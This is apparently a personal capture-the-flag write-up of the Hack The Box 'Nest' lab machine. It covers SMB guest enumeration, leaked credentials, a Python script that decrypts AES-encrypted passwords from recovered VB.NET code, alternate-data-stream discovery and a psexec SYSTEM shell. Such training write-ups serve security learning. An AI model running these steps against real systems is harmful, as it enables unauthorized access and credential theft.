NEST

Table of Contents

Machine info

Nest is an easy difficulty Windows machine featuring an SMB server that permits guest access. The shares can be enumerated to gain credentials for a low privileged user. This user is found to have access to configuration files containing sensitive information. Another user and password is found through source code analysis, which is used to gain a foothold on the box. A custom service is found to be running, which is enumerated to find and decrypt Administrator credentials.

Enumeration

Network Mapping

Using nmap we will try and figure out what ports are open.

sudo nmap -sVC -T4 10.10.10.178 -vvv -oN nmap.txt

# Nmap 7.94SVN scan initiated Sun Jul 28 21:34:48 2024 as: nmap -sVC -T4 -vvv -oN nmap.txt 10.10.10.178
Nmap scan report for 10.10.10.178
Host is up, received echo-reply ttl 127 (0.14s latency).
Scanned at 2024-07-28 21:34:49 EAT for 71s
Not shown: 999 filtered tcp ports (no-response)
PORT    STATE SERVICE       REASON          VERSION
445/tcp open  microsoft-ds? syn-ack ttl 127

Host script results:
| smb2-time: 
|   date: 2024-07-28T18:35:23
|_  start_date: 2024-07-28T18:31:24
|_clock-skew: -1s
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 28056/tcp): CLEAN (Timeout)
|   Check 2 (port 40075/tcp): CLEAN (Timeout)
|   Check 3 (port 17014/udp): CLEAN (Timeout)
|   Check 4 (port 41379/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 28 21:36:00 2024 -- 1 IP address (1 host up) scanned in 71.82 seconds

One open port so far. Port 445 is a network port used for Server Message Block (SMB) protocol communication smbclient -L 10.10.10.178

SMB Enumeration

Find shares with guest access.

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk      
        IPC$            IPC       Remote IPC
        Secure$         Disk      
        Users           Disk 

smbclient '\\10.10.10.178\Users'

Find couple of users. Enumerate through all of them.

smbclient '\\10.10.10.178\Users'                                                            
Password for [WORKGROUP\dexter]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jan 26 02:04:21 2020
  ..                                  D        0  Sun Jan 26 02:04:21 2020
  Administrator                       D        0  Fri Aug  9 18:08:23 2019
  C.Smith                             D        0  Sun Jan 26 10:21:44 2020
  L.Frost                             D        0  Thu Aug  8 20:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 20:02:50 2019
  TempUser                            D        0  Thu Aug  8 01:55:56 2019

                5242623 blocks of size 4096. 1840267 blocks available
smb: \> 

Connect to the Data share and enumerate. smbclient '\\10.10.10.178\Data'

smbclient '\\10.10.10.178\Data'                                                                                                                                   
Password for [WORKGROUP\dexter]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug  8 01:53:46 2019
  ..                                  D        0  Thu Aug  8 01:53:46 2019
  IT                                  D        0  Thu Aug  8 01:58:07 2019
  Production                          D        0  Tue Aug  6 00:53:38 2019
  Reports                             D        0  Tue Aug  6 00:53:44 2019
  Shared                              D        0  Wed Aug  7 22:07:51 2019

We find some file in Shared directory

smb: \Shared\> ls
  .                                   D        0  Wed Aug  7 22:07:51 2019
  ..                                  D        0  Wed Aug  7 22:07:51 2019
  Maintenance                         D        0  Wed Aug  7 22:07:32 2019
  Templates                           D        0  Wed Aug  7 22:08:07 2019

                5242623 blocks of size 4096. 1831905 blocks available

We find some credentials from TempUser on a template.

We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location: 
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the 
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR%    

We can then access the users share and then go to the TempUser of which the credentials have been found. We then find another text file which seems to be empty.

We can then go back to enumeration and find anything that we might have missed . Doing an nmap scan again reveals an extra port that seems unknown at first.

sudo nmap -p- --min-rate 10000 10.10.10.178

This reveals another port open on the machine. Since at first it displays unknown we can do a banner grabbing technique to get the service running. HQK reporting service is running on the port.

nc -v 10.10.10.178 4386                                                                                                                                         
10.10.10.178: inverse host lookup failed: Unknown host
(UNKNOWN) [10.10.10.178] 4386 (?) open

HQK Reporting Service V1.2

Re enumerating in SMB we can find some more files in that we can check. This set of commands help us to download all the files from the share into our local machine.

recurse ON
prompt OFF
mget *

Source Code analysis

Checking through all the files we can find two interesting files that gives us alot more information. For example, we get some credentials for a user C.Smith that we could use. Next we also find some paths we can use as directed by the notepadplusplus config file.

Public Property Port As Integer
Public Property Username As String
Public Property Password As String

Public Sub SaveToFile(Path As String)
    Using File As New IO.FileStream(Path, IO.FileMode.Create)
        Dim Writer As New Xml.Serialization.XmlSerializer(GetType(ConfigFile))
        Writer.Serialize(File, Me)
    End Using
End Sub

Public Shared Function LoadFromFile(ByVal FilePath As String) As ConfigFile
    Using File As New IO.FileStream(FilePath, IO.FileMode.Open)
        Dim Reader As New Xml.Serialization.XmlSerializer(GetType(ConfigFile))
        Return DirectCast(Reader.Deserialize(File), ConfigFile)
    End Using
End Function

End Class


First is the config file that gives us an idea that there is a password string from somewhere, this could make sense since we also found a password string earlier.

```vb                    
Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
       


    End Sub

End Module

This file then tells us that there is some sort of decryption that is going on.

Imports System.Text
Imports System.Security.Cryptography
Public Class Utils

    Public Shared Function GetLogFilePath() As String
        Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
    End Function




    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function EncryptString(PlainString As String) As String
        If String.IsNullOrEmpty(PlainString) Then
            Return String.Empty
        Else
            Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function Encrypt(ByVal plainText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
        Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
        Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)
        Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC
        Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
        Using memoryStream As New IO.MemoryStream()
            Using cryptoStream As New CryptoStream(memoryStream, _
                                            encryptor, _
                                            CryptoStreamMode.Write)
                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
                cryptoStream.FlushFinalBlock()
                Dim cipherTextBytes As Byte() = memoryStream.ToArray()
                memoryStream.Close()
                cryptoStream.Close()
                Return Convert.ToBase64String(cipherTextBytes)
            End Using
        End Using
    End Function

    Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function

End Class

Cracking the password

From this we do get a few things example symmetricKey.Mode = CipherMode.CBC

Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)

This two give us an idea of how to decrypt the string. Since we get the cipher mode and the Encrypt function. Might have to use python for this.

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad
import base64

def decrypt(ciphertext, password, salt, iterations, iv, key_size):
    cipher_bytes = base64.b64decode(ciphertext)
    salt_bytes = salt.encode('utf-8')
    iv_bytes = iv.encode('utf-8')

    key = PBKDF2(password, salt_bytes, dkLen=key_size // 8, count=iterations)

    cipher = AES.new(key, AES.MODE_CBC, iv_bytes)

    decrypted = unpad(cipher.decrypt(cipher_bytes), AES.block_size)
    return decrypted.decode('utf-8')

ciphertext = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
password = "N3st22"
salt = "88552299"
iterations = 2
iv = "464R5DFA5DL6LE28"
key_size = 256

decrypted_text = decrypt(ciphertext, password, salt, iterations, iv, key_size)
print("Decrypted Text: ", decrypted_text)

This results to a password found xRxRxPANCAK3SxRxRx We can now try and access SMB shares using the credentials found.

smbclient '\\10.10.10.178\Users' -U C.Smith --password=xRxRxPANCAK3SxRxRx                                                                     
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jan 26 02:04:21 2020
  ..                                  D        0  Sun Jan 26 02:04:21 2020
  Administrator                       D        0  Fri Aug  9 18:08:23 2019
  C.Smith                             D        0  Sun Jan 26 10:21:44 2020
  L.Frost                             D        0  Thu Aug  8 20:03:01 2019
  R.Thompson                          D        0  Thu Aug  8 20:02:50 2019
  TempUser                            D        0  Thu Aug  8 01:55:56 2019

                5242623 blocks of size 4096. 1839995 blocks available
smb: \> 

In the C.Smith directory we find some files that we can download as well. But checking the debug password text file we see that it has 0 bytes.

smb: \C.Smith\HQK reporting\> ls
  .                                   D        0  Fri Aug  9 02:06:17 2019
  ..                                  D        0  Fri Aug  9 02:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 15:18:42 2019
  Debug Mode Password.txt             A        0  Fri Aug  9 02:08:17 2019
  HQK_Config_Backup.xml               A      249  Fri Aug  9 02:09:05 2019

But based on another box from hack the box I recall that there was a specific box that did the same with a root flag. So we might need to check this file deeper. Checking the Debug password text file using allinfo we initially find that the file 15 bytes in password.

smb: \C.Smith\HQK reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Fri Aug  9 02:06:12 2019 EAT
access_time:    Fri Aug  9 02:06:12 2019 EAT
write_time:     Fri Aug  9 02:08:17 2019 EAT
change_time:    Wed Jul 21 21:47:12 2021 EAT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes

We can then download this file using.

smb: \C.Smith\HQK reporting\> get "Debug Mode Password.txt:Password"
getting file \C.Smith\HQK reporting\Debug Mode Password.txt:Password of size 15 as Debug Mode Password.txt:Password (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \C.Smith

We do actually get a password now.

cat Debug\ Mode\ Password.txt:Password                              
WBQ201953D8w 

HQK service tool

From here we can revisit the HQK reporting service tool. Where we can use telnet to get a connection. we can also add a rlwrap which runs the specified command, intercepting user input in order to provide readline's line editing, persistent history and completion.

rlwrap telnet 10.10.10.178 4386                                                                                                                    
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>HELP

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>

Nice, now with the password got earlier from debug mode password text file, we can do. debug <password> We now have more powers.

>debug WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available
>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>

Running the service command we see some more information.

>service

--- HQK REPORTING SERVER INFO ---

Version: 1.2.0.0
Server Hostname: HTB-NEST
Server Process: "C:\Program Files\HQK\HqkSvc.exe"
Server Running As: Service_HQK
Initial Query Directory: C:\Program Files\HQK\ALL QUERIES

We can change directories using the setdir command

Unrecognised command
>setdir C:\Program Files\HQK\

Current directory set to HQK
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml

Current Directory: HQK
>

We can enumerate through this directories and see what they entail. Inside the LDAP directory we can see that we have a configuration file which contains the admin password. Encrypted as well I guess.

>setdir C:\Program Files\HQK\LDAP

Current directory set to LDAP
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP
>showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

Even more source code analysis

We can then analyze this program using dnSpy. But I do not have any idea on how to use that so I just re used my script. This function gave us an idea on the password, the salt, the IV and iterations

return CR.RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);

Swapping out the variables we can crack the admin password.

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad
import base64

def decrypt(ciphertext, password, salt, iterations, iv, key_size):
    cipher_bytes = base64.b64decode(ciphertext)
    salt_bytes = salt.encode('utf-8')
    iv_bytes = iv.encode('utf-8')

    key = PBKDF2(password, salt_bytes, dkLen=key_size // 8, count=iterations)

    cipher = AES.new(key, AES.MODE_CBC, iv_bytes)

    decrypted = unpad(cipher.decrypt(cipher_bytes), AES.block_size)
    return decrypted.decode('utf-8')

ciphertext = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4="
password = "667912"
salt = "1313Rf99"
iterations = 3
iv = "1L1SA61493DRV53Z"
key_size = 256

decrypted_text = decrypt(ciphertext, password, salt, iterations, iv, key_size)
print("Decrypted Text: ", decrypted_text)

After cracking the password we can use psexec from impacket to connect to the machine.

impacket-psexec nest.local/Administrator:XtH4nkS4Pl4y1nGX@10.10.10.178                                                                             
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file QekKfGAJ.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service GsMY on 10.10.10.178.....
[*] Starting service GsMY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Further notes

  • Netcat did not work, telnet worked.
  • Debug password was 0 bytes apparently but using allinfo in SMB revealed a lot more information.
  • Should probably learn how to use dnSpy. Python came in clutch.
Dexter
Just human